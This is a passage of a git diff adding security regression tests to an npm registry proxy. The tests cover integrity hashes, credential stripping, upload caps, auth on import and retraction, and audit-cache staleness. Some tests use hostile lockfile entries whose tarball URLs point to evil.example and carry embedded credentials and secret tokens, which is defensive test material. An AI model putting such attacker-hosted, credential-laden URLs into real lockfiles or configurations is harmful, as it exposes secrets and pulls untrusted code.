unverified", async () => { + const out = await post([{ name: "leftpad-lite", version: "1.0.0", integrity: "md5-AAAAAAAAAAAAAAAAAAAAAA==" }]); + assert.equal(out.packages[0]!.integrityMismatch, true); + assert.equal(out.packages[0]!.status, "block"); + }); + + const TARBALL = readFileSync(join(FIXTURES, ".tarballs", "leftpad-lite-1.0.0.tgz")); + const mismatch = async (integrity: string) => (await post([{ name: "leftpad-lite", version: "1.0.0", integrity }])).packages[0]!.integrityMismatch; + + test("a multi-token SRI passes only when EVERY known-algorithm token matches", async () => { + assert.equal(await mismatch(`${REAL} ${integrityOfAlgo(TARBALL, "sha1")}`), false); + assert.equal(await mismatch(`${integrityOfAlgo(TARBALL, "sha384")} ${REAL}`), false); + assert.equal(await mismatch(`${REAL} sha1-AAAAAAAAAAAAAAAAAAAAAAAAAAA=`), true, "a wrong weaker token must still block"); + assert.equal(await mismatch(`${integrityOfAlgo(TARBALL, "sha384")} sha512-${Buffer.alloc(64, 2).toString("base64")}`), true); + }); + + test("sha384 is verified, not ignored", async () => { + assert.equal(await mismatch(integrityOfAlgo(TARBALL, "sha384")), false); + assert.equal(await mismatch("sha384-" + Buffer.alloc(48, 3).toString("base64")), true); + }); + + test("any unknown-algorithm token blocks, even next to a matching known one", async () => { + assert.equal(await mismatch(`${REAL} md5-ignored`), true); + assert.equal(await mismatch(`${REAL} garbage`), true); + }); + + test("each algorithm's digest is computed at most once per claim (1,000 repeated tokens on a big tarball)", () => { + const big = Buffer.alloc(24 * 1024 * 1024, 5); + const tok = integrityOfAlgo(big, "sha512"); + const t0 = Date.now(); + assert.equal(integrityClaimMismatch(big, Array(1000).fill(tok).join(" ")), false); + assert.ok(Date.now() - t0 < 2000, `took ${Date.now() - t0} ms`); + }); + + test("no URL, userinfo or query string from a hostile lockfile reaches the audit-tree response", async () => { + const yarn = `# yarn lockfile v1\n\n"https://user:pw@evil.example/x.tgz?sig=abc":\n version "1.0.0"\n resolved "https://user:pw@evil.example/x.tgz?sig=abc"\n`; + const pnpm = `lockfileVersion: '9.0'\n\npackages:\n\n evil@https://user:pw@cdn.example/x.tgz?sig=abc:\n resolution: {tarball: 'https://user:pw@cdn.example/x.tgz?sig=abc'}\n`; + for (const [raw, filename] of [[yarn, "yarn.lock"], [pnpm, "pnpm-lock.yaml"]] as const) { + const coords = parseAnyLockfile(raw, { filename }); + const out = await post(coords); + assert.equal(out.packages[0]!.status, "block"); + assert.ok(!/pw|sig=abc|evil\.example|cdn\.example/.test(JSON.stringify(out)), JSON.stringify(out)); + } + }); + + test("a sha384-only pinned lockfile entry stays registry and is verified by audit-tree", async () => { + const lock = (integrity: string) => JSON.stringify({ lockfileVersion: 3, packages: { "": {}, "node_modules/leftpad-lite": { version: "1.0.0", resolved: "https://r.example/leftpad-lite/-/leftpad-lite-1.0.0.tgz", integrity } } }); + const good = parseLockfile(lock(integrityOfAlgo(TARBALL, "sha384"))); + assert.equal(good[0]!.nonRegistry, undefined); + const ok = await post(good); + assert.equal(ok.packages[0]!.integrityMismatch, false); + assert.notEqual(ok.packages[0]!.status, "block"); + const bad = await post(parseLockfile(lock("sha384-" + Buffer.alloc(48, 9).toString("base64")))); + assert.equal(bad.packages[0]!.integrityMismatch, true); + assert.equal(bad.packages[0]!.status, "block"); + }); + + test("a pnpm v5 URL key with a credential segment leaks nothing into the audit-tree response", async () => { + const raw = `lockfileVersion: 5.4\n\npackages:\n\n codeload.example/user/repo/tar.gz/s3cr3t-token:\n resolution: {tarball: 'https://codeload.example/user/repo/tar.gz/s3cr3t-token'}\n`; + const out = await post(parseAnyLockfile(raw, { filename: "pnpm-lock.yaml" })); + assert.equal(out.packages[0]!.status, "block"); + assert.ok(!/s3cr3t|codeload|tar\.gz/.test(JSON.stringify(out)), JSON.stringify(out)); + }); + + test("a non-string integrity is a 400, not a silently skipped check", async () => { + for (const integrity of [123, true, ["sha512-x"], { a: 1 }, null]) { + const res = await fetch(`${base}/-/audit-tree`, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ packages: [{ name: "leftpad-lite", version: "1.0.0", integrity }] }) }); + assert.equal(res.status, 400, JSON.stringify(integrity)); + } + }); + + test("duplicate entries pinned in different algorithms merge, and audit-tree verifies every token (PR #84)", async () => { + const lock = (sha1: string) => JSON.stringify({ lockfileVersion: 3, packages: { "": {}, + "node_modules/leftpad-lite": { version: "1.0.0", resolved: "https://r.example/leftpad-lite/-/leftpad-lite-1.0.0.tgz", integrity: sha1 }, + "node_modules/a/node_modules/leftpad-lite": { version: "1.0.0", resolved: "https://r.example/leftpad-lite/-/leftpad-lite-1.0.0.tgz", integrity: REAL } } }); + const good = parseLockfile(lock(integrityOfAlgo(TARBALL, "sha1"))); + assert.equal(good.length, 1); + assert.equal(good[0]!.nonRegistry, undefined); + const ok = await post(good); + assert.equal(ok.packages[0]!.integrityMismatch, false); + assert.notEqual(ok.packages[0]!.status, "block"); + const bad = await post(parseLockfile(lock("sha1-AAAAAAAAAAAAAAAAAAAAAAAAAAA="))); + assert.equal(bad.packages[0]!.integrityMismatch, true); + assert.equal(bad.packages[0]!.status, "block"); + }); + + test("two different sha512 digests for the same name@version are non-registry", async () => { + const lock = JSON.stringify({ lockfileVersion: 3, packages: { "": {}, + "node_modules/leftpad-lite": { version: "1.0.0", resolved: "https://r.example/leftpad-lite/-/leftpad-lite-1.0.0.tgz", integrity: REAL }, + "node_modules/a/node_modules/leftpad-lite": { version: "1.0.0", resolved: "https://r.example/leftpad-lite/-/leftpad-lite-1.0.0.tgz", integrity: "sha512-" + Buffer.alloc(64, 8).toString("base64") } } }); + const cs = parseLockfile(lock); + assert.ok(cs[0]!.nonRegistry); + assert.equal((await post(cs)).packages[0]!.status, "block"); + }); +}); diff --git a/packages/proxy/test/security-compat-routes.test.ts b/packages/proxy/test/security-compat-routes.test.ts new file mode 100644 index 0000000..e2d2b89 --- /dev/null +++ b/packages/proxy/test/security-compat-routes.test.ts @@ -0,0 +1,114 @@ +import assert from "node:assert/strict"; +import http from "node:http"; +import { after, describe, test } from "node:test"; +import type { AddressInfo } from "node:net"; +import type { Server } from "node:http"; +import { DEFAULT_POLICY } from "@git-agentic/sentinel-core"; +import { createServer } from "../src/server.js"; +import { createRateLimiter } from "../src/rate-limit.js"; +import { AuditStore } from "../src/store.js"; +import { ApprovalStore } from "../src/approvals.js"; +import { PrivatePackageStore } from "../src/private-store.js"; +import { ViolationStore } from "../src/violations.js"; +import { ApprovalRequestStore } from "../src/approval-requests.js"; +import type { Upstream } from "../src/upstream.js"; + +const servers: Server[] = []; +after(() => servers.forEach((s) => s.close())); + +interface Seen { path: string; method: string; headers: Record; body?: Buffer } + +async function boot(overrides: Partial[0]> = {}) { + const seen: Seen[] = []; + const upstream: Upstream = { + name: "capture", + async getPackument() { throw new Error("unused"); }, + async getTarball() { throw new Error("unused"); }, + async getAttestations() { return null; }, + async proxyRegistryRequest(path, init) { + seen.push({ path, method: init.method, headers: init.headers, ...(init.body ? { body: init.body } : {}) }); + return { status: 200, headers: { "content-type": "application/json" }, body: Buffer.from("{}") }; + }, + }; + const app = createServer({ + upstream, store: new AuditStore(), approvals: new ApprovalStore(), enterprisePolicy: DEFAULT_POLICY, + privateStore: new PrivatePackageStore(), violations: new ViolationStore(), approvalRequests: new ApprovalRequestStore(), + ...overrides, + }); + const server = await new Promise((resolve) => { const s = app.listen(0, () => resolve(s)); }); + servers.push(server); + return { base: `http://127.0.0.1:${(server.address() as AddressInfo).port}`, seen }; +} + +const CREDS = { authorization: "Bearer client-secret", cookie: "session=abc", "npm-otp": "123456", "x-probe": "keep" }; + +describe("F17: client credentials are not forwarded upstream on compatibility routes", () => { + test("authorization, cookie and npm-otp are dropped on every compat route, including POST /-/v1/login", async () => { + const { base, seen } = await boot(); + const routes = [ + { path: "/-/v1/search?text=x", method: "GET" }, + { path: "/-/npm/v1/security/advisories/bulk", method: "POST" }, + { path: "/-/npm/v1/keys", method: "GET" }, + { path: "/-/npm/v1/attestations/lodash@4.17.21", method: "GET" }, + { path: "/-/v1/login", method: "POST" }, + ]; + for (const r of routes) { + const res = await fetch(`${base}${r.path}`, { method: r.method, headers: { ...CREDS, "content-type": "application/json" }, ...(r.method === "POST" ? { body: "{}" } : {}) }); + assert.equal(res.status, 200); + } + assert.equal(seen.length, routes.length); + for (const call of seen) { + assert.equal(call.headers["authorization"], undefined, `${call.path} leaked authorization`); + assert.equal(call.headers["cookie"], undefined, `${call.path} leaked cookie`); + assert.equal(call.headers["npm-otp"], undefined, `${call.path} leaked npm-otp`); + assert.equal(call.headers["x-probe"], "keep"); + } + }); +}); + +describe("F20: compatibility bodies are capped and rate-gated", () => { + test("a 9 MiB body is refused with 413 before reaching the upstream", async () => { + const { base, seen } = await boot(); + const res = await fetch(`${base}/-/npm/v1/security/advisories/bulk`, { method: "POST", headers: { "content-type": "application/json" }, body: Buffer.alloc(9 * 1024 * 1024, 0x61) }); + assert.equal(res.status, 413); + assert.equal(seen.length, 0); + }); + + test("a 2 MiB advisories/bulk body (a large real npm audit tree) still passes", async () => { + const { base, seen } = await boot(); + const res = await fetch(`${base}/-/npm/v1/security/advisories/bulk`, { method: "POST", headers: { "content-type": "application/json" }, body: Buffer.alloc(2 * 1024 * 1024, 0x61) }); + assert.equal(res.status, 200); + assert.equal(seen[0]!.body!.length, 2 * 1024 * 1024); + }); + + test("compat routes honour the rate gate", async () => { + const { base, seen } = await boot({ rateLimiter: createRateLimiter({ rpm: 1, now: () => 0 }) }); + assert.equal((await fetch(`${base}/-/npm/v1/keys`)).status, 200); + const second = await fetch(`${base}/-/npm/v1/keys`); + assert.equal(second.status, 429); + assert.equal(seen.length, 1); + }); + + test("a slow chunked upload that crosses the cap still receives the 413 (Connection: close)", async () => { + const { base, seen } = await boot(); + const url = new URL(`${base}/-/npm/v1/security/advisories/bulk`); + const result = await new Promise<{ status?: number; connection?: string; error?: string }>((resolve) => { + const req = http.request({ host: url.hostname, port: url.port, path: url.pathname, method: "POST", headers: { "transfer-encoding": "chunked", "content-type": "application/json" } }, (res) => { + res.resume(); + res.on("end", () => resolve({ status: res.statusCode, connection: String(res.headers["connection"]) })); + }); + req.on("error", (e) => resolve({ error: e.message })); + const chunk = Buffer.alloc(1024 * 1024, 0x61); + let sent = 0; + const timer = setInterval(() => { + if (req.destroyed || sent >= 12) { clearInterval(timer); req.end(); return; } + sent++; + req.write(chunk); + }, 40); + }); + assert.equal(result.error, undefined); + assert.equal(result.status, 413); + assert.match(result.connection ?? "", /close/i); + assert.equal(seen.length, 0); + }); +}); diff --git a/packages/proxy/test/security-import-sha384.test.ts b/packages/proxy/test/security-import-sha384.test.ts new file mode 100644 index 0000000..6fb64e2 --- /dev/null +++ b/packages/proxy/test/security-import-sha384.test.ts @@ -0,0 +1,53 @@ +import assert from "node:assert/strict"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import type { Server } from "node:http"; +import type { AddressInfo } from "node:net"; +import { after, describe, test } from "node:test"; +import { DEFAULT_POLICY, generateKeypair, integrityOfAlgo, type ClaimCorpus } from "@git-agentic/sentinel-core"; +import { createServer } from "../src/server.js"; +import { AuditStore } from "../src/store.js"; +import { ApprovalStore } from "../src/approvals.js"; +import { PrivatePackageStore } from "../src/private-store.js"; +import { ViolationStore } from "../src/violations.js"; +import { ApprovalRequestStore } from "../src/approval-requests.js"; +import { LocalFixtureUpstream, type Upstream } from "../src/upstream.js"; + +const FIXTURES = join(dirname(fileURLToPath(import.meta.url)), "..", "..", "..", "fixtures"); +const servers: Server[] = []; +after(() => servers.forEach((s) => s.close())); + +async function importWith(declare: (bytes: Buffer) => string): Promise<{ status: number }> { + const fixture = new LocalFixtureUpstream(FIXTURES); + const bytes = await fixture.getTarball("leftpad-lite", "1.0.1"); + const upstream: Upstream = { + name: "declared-integrity", + async getPackument(name) { + const packument = structuredClone(await fixture.getPackument(name)); + packument.doc.versions["1.0.1"]!.dist.integrity = declare(bytes); + return packument; + }, + getTarball: (name, version) => fixture.getTarball(name, version), + getAttestations: (name, version) => fixture.getAttestations(name, version), + }; + const claimCorpus: ClaimCorpus = { schema: 1, version: "c", issuedAt: "2026-07-13T00:00:00.000Z", claims: [{ + namespace: "leftpad-lite", domain: "example.test", claimantPublicKey: generateKeypair().publicKey, status: "active", + challenge: { method: "dns-txt", id: "c", verifiedAt: "2026-07-12T00:00:00.000Z" }, renewalDueAt: "2027-07-12T00:00:00.000Z" }] }; + const app = createServer({ upstream, store: new AuditStore(), approvals: new ApprovalStore(), privateStore: new PrivatePackageStore(), + enterprisePolicy: { ...DEFAULT_POLICY, privateNamespaces: [] }, claimCorpus, publishTokens: ["tok"], + violations: new ViolationStore(), approvalRequests: new ApprovalRequestStore() }); + const server = await new Promise((resolve) => { const s = app.listen(0, () => resolve(s)); }); + servers.push(server); + const base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + const res = await fetch(`${base}/-/registry/import`, { method: "POST", headers: { "content-type": "application/json", authorization: "Bearer tok" }, body: JSON.stringify({ name: "leftpad-lite" }) }); + return { status: res.status }; +} + +describe("history import verifies every supported declared integrity algorithm (round 5, item 2)", () => { + test("a sha384-only upstream dist.integrity imports", async () => { + assert.equal((await importWith((b) => integrityOfAlgo(b, "sha384"))).status, 201); + }); + test("a wrong sha384 is still refused", async () => { + assert.equal((await importWith(() => "sha384-" + Buffer.alloc(48, 4).toString("base64"))).status, 400); + }); +}); diff --git a/packages/proxy/test/security-open-mode.test.ts b/packages/proxy/test/security-open-mode.test.ts new file mode 100644 index 0000000..3b6df99 --- /dev/null +++ b/packages/proxy/test/security-open-mode.test.ts @@ -0,0 +1,80 @@ +import assert from "node:assert/strict"; +import { Buffer } from "node:buffer"; +import type { Server } from "node:http"; +import type { AddressInfo } from "node:net"; +import { afterEach, describe, test } from "node:test"; +import { AUDIT_REVISION, DEFAULT_POLICY, ENGINE_VERSION, integrityOf, type Audit, type EnterprisePolicy } from "@git-agentic/sentinel-core"; +import { createServer } from "../src/server.js"; +import { AuditStore } from "../src/store.js"; +import { ApprovalStore } from "../src/approvals.js"; +import { PrivatePackageStore } from "../src/private-store.js"; +import { ViolationStore } from "../src/violations.js"; +import { ApprovalRequestStore } from "../src/approval-requests.js"; +import type { Upstream } from "../src/upstream.js"; + +const NOW = Date.parse("2026-07-13T12:00:00.000Z"); +const servers: Server[] = []; +afterEach(() => { while (servers.length) servers.pop()!.close(); }); + +const upstream: Upstream = { + name: "unused", + async getPackument() { throw new Error("unused"); }, + async getTarball() { throw new Error("unused"); }, + async getAttestations() { return null; }, +}; +const policy: EnterprisePolicy = { ...DEFAULT_POLICY, privateNamespaces: ["@acme/*"] }; + +function audit(name: string, version: string, tarball: Buffer): Audit { + return { + schema: 3, + meta: { name, version, integrity: integrityOf(tarball), author: null, maintainers: [], license: null, hasInstallScripts: false, + signature: "unsigned", provenance: "absent", unpackedSize: tarball.length, fileCount: 1 }, + findings: [], capabilities: [], capabilityDelta: null, + engine: { version: ENGINE_VERSION, revision: AUDIT_REVISION, rules: [], mode: "full" }, auditedAt: "2026-07-13T00:00:00.000Z", durationMs: 1, + }; +} + +async function boot(publishTokens: string[]) { + const privateStore = new PrivatePackageStore(undefined, () => NOW); + const tarball = Buffer.from("tarball-1"); + privateStore.publish({ name: "@acme/widget", version: "1.0.0", integrity: integrityOf(tarball), tarball, + manifest: { name: "@acme/widget", version: "1.0.0", dist: { integrity: integrityOf(tarball) } }, + audit: audit("@acme/widget", "1.0.0", tarball), actor: "publisher" }); + const app = createServer({ upstream, store: new AuditStore(), approvals: new ApprovalStore(), privateStore, enterprisePolicy: policy, + policy: "observe", violations: new ViolationStore(), approvalRequests: new ApprovalRequestStore(), now: () => NOW, publishTokens }); + const server = await new Promise((resolve) => { const s = app.listen(0, () => resolve(s)); }); + servers.push(server); + return `http://127.0.0.1:${(server.address() as AddressInfo).port}`; +} + +const post = (base: string, path: string, body: unknown, token?: string) => fetch(`${base}${path}`, { + method: "POST", headers: { "content-type": "application/json", ...(token ? { authorization: `Bearer ${token}` } : {}) }, body: JSON.stringify(body), +}); + +describe("F18: open mode no longer exposes import/retraction without a credential", () => { + test("POST /-/retractions without a publish token → 401; the version stays served", async () => { + const base = await boot(["publish-token"]); + const res = await post(base, "/-/retractions", { name: "@acme/widget", version: "1.0.0", reason: "security" }); + assert.equal(res.status, 401); + assert.equal((await fetch(`${base}/@acme/widget/-/widget-1.0.0.tgz`)).status, 200); + }); + + test("POST /-/retractions with a wrong token → 401, with the publish token → proceeds", async () => { + const base = await boot(["publish-token"]); + assert.equal((await post(base, "/-/retractions", { name: "@acme/widget", version: "1.0.0", reason: "security" }, "nope")).status, 401); + const ok = await post(base, "/-/retractions", { name: "@acme/widget", version: "1.0.0", reason: "security" }, "publish-token"); + assert.ok(ok.status < 300, `expected success, got ${ok.status}`); + }); + + test("POST /-/registry/import without a token → 401; with the token it passes auth (then the claim check applies)", async () => { + const base = await boot(["publish-token"]); + assert.equal((await post(base, "/-/registry/import", { name: "leftpad-lite" })).status, 401); + assert.equal((await post(base, "/-/registry/import", { name: "leftpad-lite" }, "publish-token")).status, 403); + }); + + test("open mode with no publish tokens configured: both routes always 401", async () => { + const base = await boot([]); + assert.equal((await post(base, "/-/retractions", { name: "@acme/widget", version: "1.0.0", reason: "security" })).status, 401); + assert.equal((await post(base, "/-/registry/import", { name: "leftpad-lite" }, "anything")).status, 401); + }); +}); diff --git a/packages/proxy/test/security-startup.test.ts b/packages/proxy/test/security-startup.test.ts new file mode 100644 index 0000000..480fafc --- /dev/null +++ b/packages/proxy/test/security-startup.test.ts @@ -0,0 +1,81 @@ +import assert from "node:assert/strict"; +import { execFile, execFileSync, spawn } from "node:child_process"; +import { existsSync, mkdtempSync, readFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { promisify } from "node:util"; +import { describe, test } from "node:test"; + +const execFileAsync = promisify(execFile); +const REPO_ROOT = join(dirname(fileURLToPath(import.meta.url)), "..", "..", ".."); +const ENTRY = join(REPO_ROOT, "packages", "proxy", "src", "index.ts"); +const FIXTURES = join(REPO_ROOT, "fixtures"); + +describe("proxy startup validation (F16, F18)", () => { + if (!existsSync(join(FIXTURES, "registry.json")) || !existsSync(join(FIXTURES, ".tarballs"))) { + execFileSync("npx", ["tsx", join(REPO_ROOT, "scripts", "make-fixtures.ts")], { cwd: REPO_ROOT, stdio: "ignore" }); + } + + function bootWith(extra: Record): Promise<{ code: number; output: string }> { + const env: Record = { ...process.env, SENTINEL_UPSTREAM: "fixtures", SENTINEL_BOOT_EXIT: "1", SENTINEL_PORT: "0" }; + delete env["SENTINEL_POLICY"]; delete env["SENTINEL_HOST"]; + Object.assign(env, extra); + return execFileAsync("node", ["--import", "tsx", ENTRY], { cwd: REPO_ROOT, env, timeout: 20_000, encoding: "utf8" }) + .then(({ stdout, stderr }) => ({ code: 0, output: stdout + stderr })) + .catch((err) => ({ code: typeof err.code === "number" ? err.code : 1, output: String(err.stdout ?? "") + String(err.stderr ?? "") })); + } + + for (const bad of ["Block", "enforce", "", " block", "observe "]) { + test(`SENTINEL_POLICY=${JSON.stringify(bad)} → FATAL, non-zero exit`, async () => { + const { code, output } = await bootWith({ SENTINEL_POLICY: bad }); + assert.notEqual(code, 0); + assert.match(output, /FATAL.*SENTINEL_POLICY/); + }); + } + + for (const good of ["observe", "block"]) { + test(`SENTINEL_POLICY=${good} boots`, async () => { + assert.equal((await bootWith({ SENTINEL_POLICY: good })).code, 0); + }); + } + + test("binds 127.0.0.1 by default and says so in the startup log", async () => { + const { code, output } = await bootWith({}); + assert.equal(code, 0); + assert.match(output, /listening on http:\/\/127\.0\.0\.1:/); + }); + + test("SENTINEL_HOST overrides the bind address", async () => { + const { code, output } = await bootWith({ SENTINEL_HOST: "0.0.0.0" }); + assert.equal(code, 0); + assert.match(output, /host\s*:\s*0\.0\.0\.0/); + }); + + test("empty SENTINEL_HOST → FATAL", async () => { + const { code, output } = await bootWith({ SENTINEL_HOST: "" }); + assert.notEqual(code, 0); + assert.match(output, /FATAL.*SENTINEL_HOST/); + }); + + for (const [signal, code] of [["SIGTERM", 143], ["SIGINT", 130]] as const) { + test(`${signal} during the debounce window flushes the audit store and exits ${code}`, async () => { + const file = join(mkdtempSync(join(tmpdir(), "sentinel-sig-")), "audits.json"); + const port = 41000 + Math.floor(Math.random() * 20000); + const child = spawn("node", ["--import", "tsx", ENTRY], { cwd: REPO_ROOT, + env: { ...process.env, SENTINEL_UPSTREAM: "fixtures", SENTINEL_PORT: String(port), SENTINEL_STORE: file } }); + let out = ""; + child.stdout.on("data", (d: Buffer) => { out += d.toString(); }); + const exited = new Promise((resolve) => child.on("exit", (c) => resolve(c))); + const deadline = Date.now() + 15_000; + while (!/listening on/.test(out) && Date.now() < deadline) await new Promise((r) => setTimeout(r, 50)); + assert.match(out, /listening on/); + const res = await fetch(`http://127.0.0.1:${port}/-/audit/leftpad-lite/1.0.0`); + assert.equal(res.status, 200); + child.kill(signal); // well inside the 500 ms debounce window + assert.equal(await exited, code); + const rows = JSON.parse(readFileSync(file, "utf8")) as { name: string }[]; + assert.ok(rows.some((r) => r.name === "leftpad-lite")); + }); + } +}); diff --git a/packages/proxy/test/security-store-cap.test.ts b/packages/proxy/test/security-store-cap.test.ts new file mode 100644 index 0000000..342abe7 --- /dev/null +++ b/packages/proxy/test/security-store-cap.test.ts @@ -0,0 +1,28 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import type { AuditReport } from "@git-agentic/sentinel-core"; +import { AuditStore, MAX_AUDIT_ENTRIES } from "../src/store.js"; + +function report(name: string, integrity: string): AuditReport { + return { schema: 3, meta: { name, version: "1.0.0", integrity }, verdict: "allow", score: 100, findings: [], policy: { version: "t", hash: "h" } } as unknown as AuditReport; +} + +describe("AuditStore is bounded", () => { + test("keeps at most MAX_AUDIT_ENTRIES, evicting the oldest by insertion order", () => { + const store = new AuditStore(); + const extra = 5; + for (let i = 0; i < MAX_AUDIT_ENTRIES + extra; i++) store.put(report(`pkg-${i}`, `sha512-${i}`)); + assert.equal(store.stats().total, MAX_AUDIT_ENTRIES); + for (let i = 0; i < extra; i++) assert.equal(store.get(`pkg-${i}`, "1.0.0", `sha512-${i}`), undefined, `pkg-${i} should be evicted`); + const last = MAX_AUDIT_ENTRIES + extra - 1; + assert.ok(store.get(`pkg-${last}`, "1.0.0", `sha512-${last}`)); + assert.ok(store.get(`pkg-${extra}`, "1.0.0", `sha512-${extra}`), "the oldest survivor is still cached"); + assert.equal(store.recent(1)[0]!.name, `pkg-${last}`); + }); + + test("re-putting an existing coordinate does not evict anything", () => { + const store = new AuditStore(); + for (let i = 0; i < 10; i++) store.put(report("same", "sha512-same")); + assert.equal(store.stats().total, 1); + }); +}); diff --git a/packages/proxy/test/security-store-engine.test.ts b/packages/proxy/test/security-store-engine.test.ts new file mode 100644 index 0000000..15060e7 --- /dev/null +++ b/packages/proxy/test/security-store-engine.test.ts @@ -0,0 +1,269 @@ +import assert from "node:assert/strict"; +import { Buffer } from "node:buffer"; +import { createSign, generateKeyPairSync } from "node:crypto"; +import { existsSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import type { Server } from "node:http"; +import type { AddressInfo } from "node:net"; +import { after, describe, test } from "node:test"; +import { AUDIT_REVISION, DEFAULT_POLICY, ENGINE_VERSION, integrityOf, runAudit, type AuditReport, type EnterprisePolicy } from "@git-agentic/sentinel-core"; +import { createServer } from "../src/server.js"; +import { AuditStore } from "../src/store.js"; +import { ApprovalStore } from "../src/approvals.js"; +import { PrivatePackageStore } from "../src/private-store.js"; +import { ViolationStore } from "../src/violations.js"; +import { ApprovalRequestStore } from "../src/approval-requests.js"; +import { LocalFixtureUpstream, type Upstream } from "../src/upstream.js"; + +const FIXTURES = join(dirname(fileURLToPath(import.meta.url)), "..", "..", "..", "fixtures"); + +function report(name: string, integrity: string, engineVersion?: string, revision: number | null = AUDIT_REVISION): AuditReport { + return { + schema: 3, meta: { name, version: "1.0.0", integrity }, verdict: "allow", score: 100, findings: [], + policy: { version: "t", hash: "h" }, + ...(engineVersion ? { engine: { version: engineVersion, rules: [], mode: "full", ...(revision !== null ? { revision } : {}) } } : {}), + } as unknown as AuditReport; +} + +describe("AuditStore load skips reports from another engine version", () => { + test("a persisted report from an older engine is not served after upgrade", () => { + const dir = mkdtempSync(join(tmpdir(), "sentinel-engine-")); + const file = join(dir, "audits.json"); + const rows = [ + { name: "old", r: report("old", "sha512-old", "0.0.1-ancient") }, + { name: "cur", r: report("cur", "sha512-cur", ENGINE_VERSION) }, + { name: "none", r: report("none", "sha512-none") }, + // Same engine version, but no audit revision: rule semantics may have changed under it. + { name: "norev", r: report("norev", "sha512-norev", ENGINE_VERSION, null) }, + { name: "oldrev", r: report("oldrev", "sha512-oldrev", ENGINE_VERSION, AUDIT_REVISION - 1) }, + ].map(({ name, r }) => ({ key: `${name}@1.0.0`, name, version: "1.0.0", report: r })); + writeFileSync(file, JSON.stringify(rows)); + const store = new AuditStore(file); + assert.equal(store.get("old", "1.0.0", "sha512-old"), undefined); + assert.equal(store.get("none", "1.0.0", "sha512-none"), undefined); + assert.equal(store.get("norev", "1.0.0", "sha512-norev"), undefined, "a missing revision counts as stale"); + assert.equal(store.get("oldrev", "1.0.0", "sha512-oldrev"), undefined, "an older revision counts as stale"); + assert.ok(store.get("cur", "1.0.0", "sha512-cur")); + }); +}); + +describe("AuditStore persistence is debounced", () => { + test("many puts coalesce into one deferred write; flush() writes immediately", async () => { + const dir = mkdtempSync(join(tmpdir(), "sentinel-debounce-")); + const file = join(dir, "audits.json"); + const store = new AuditStore(file); + for (let i = 0; i < 50; i++) store.put(report(`p${i}`, `sha512-${i}`, ENGINE_VERSION)); + assert.equal(existsSync(file), false, "put must not write synchronously"); + store.flush(); + assert.equal(JSON.parse(readFileSync(file, "utf8")).length, 50); + store.put(report("late", "sha512-late", ENGINE_VERSION)); + await new Promise((r) => setTimeout(r, 1200)); + const rows = JSON.parse(readFileSync(file, "utf8")) as unknown[]; + assert.equal(rows.length, 51, "the pending write lands on its own"); + }); + + test("the timer is unref'd and a restart reloads flushed audits", () => { + const dir = mkdtempSync(join(tmpdir(), "sentinel-debounce-")); + const file = join(dir, "audits.json"); + const store = new AuditStore(file); + store.put(report("keep", "sha512-keep", ENGINE_VERSION)); + store.flush(); + assert.ok(new AuditStore(file).get("keep", "1.0.0", "sha512-keep")); + }); +}); + +describe("native serve path re-audits stored bytes after an engine upgrade", () => { + const servers: Server[] = []; + after(() => servers.forEach((s) => s.close())); + const policy: EnterprisePolicy = { ...DEFAULT_POLICY, privateNamespaces: ["@acme/*"] }; + const upstream: Upstream = { + name: "must-not-be-called", + async getPackument() { throw new Error("native names must not reach upstream"); }, + async getTarball() { throw new Error("native names must not reach upstream"); }, + async getAttestations() { throw new Error("native names must not reach upstream"); }, + }; + + test("a stale clean audit of malicious bytes is recomputed, the record is untouched, upstream is never called", async () => { + const tarball = readFileSync(join(FIXTURES, ".tarballs", "color-stream-1.4.1.tgz")); + const integrity = integrityOf(tarball); + const fresh = await runAudit({ meta: { name: "@acme/widget", version: "1.0.0", author: null, maintainers: [], license: null, hasInstallScripts: false, integrity }, tarball }); + assert.ok(fresh.findings.length > 0, "fixture must produce findings under the current engine"); + const stale = { ...fresh, findings: [], capabilities: [], engine: { ...fresh.engine, version: "0.0.1-ancient" } }; + assert.equal(fresh.engine.revision, AUDIT_REVISION); + const privateStore = new PrivatePackageStore(); + privateStore.publish({ name: "@acme/widget", version: "1.0.0", integrity, tarball, manifest: { name: "@acme/widget", version: "1.0.0", dist: { integrity } }, audit: stale, actor: "t" }); + const app = createServer({ upstream, store: new AuditStore(), approvals: new ApprovalStore(), privateStore, enterprisePolicy: policy, + violations: new ViolationStore(), approvalRequests: new ApprovalRequestStore() }); + const server = await new Promise((resolve) => { const s = app.listen(0, () => resolve(s)); }); + servers.push(server); + const base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + for (let i = 0; i < 2; i++) { + const body = (await (await fetch(`${base}/-/audit/@acme%2fwidget/1.0.0`)).json()) as AuditReport; + assert.equal(body.engine.version, ENGINE_VERSION); + assert.ok(body.findings.length > 0, "stale empty findings must not be served"); + } + assert.equal(privateStore.getAudit("@acme/widget", "1.0.0")!.engine.version, "0.0.1-ancient", "the publication record is never rewritten"); + }); + + test("a current-engine audit is served as stored (no re-run)", async () => { + const tarball = Buffer.from("not-a-tarball-so-a-rerun-would-throw"); + const integrity = integrityOf(tarball); + const audit = { schema: 3 as const, meta: { name: "@acme/w2", version: "1.0.0", integrity, author: null, maintainers: [], license: null, hasInstallScripts: false, signature: "unsigned" as const, provenance: "absent" as const, unpackedSize: 1, fileCount: 1 }, + findings: [], capabilities: [], capabilityDelta: null, engine: { version: ENGINE_VERSION, revision: AUDIT_REVISION, rules: [], mode: "full" as const }, auditedAt: "2026-07-13T00:00:00.000Z", durationMs: 1 }; + const privateStore = new PrivatePackageStore(); + privateStore.publish({ name: "@acme/w2", version: "1.0.0", integrity, tarball, manifest: { name: "@acme/w2", version: "1.0.0", dist: { integrity } }, audit, actor: "t" }); + const app = createServer({ upstream, store: new AuditStore(), approvals: new ApprovalStore(), privateStore, enterprisePolicy: policy, + violations: new ViolationStore(), approvalRequests: new ApprovalRequestStore() }); + const server = await new Promise((resolve) => { const s = app.listen(0, () => resolve(s)); }); + servers.push(server); + const base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + assert.equal((await fetch(`${base}/-/audit/@acme%2fw2/1.0.0`)).status, 200); 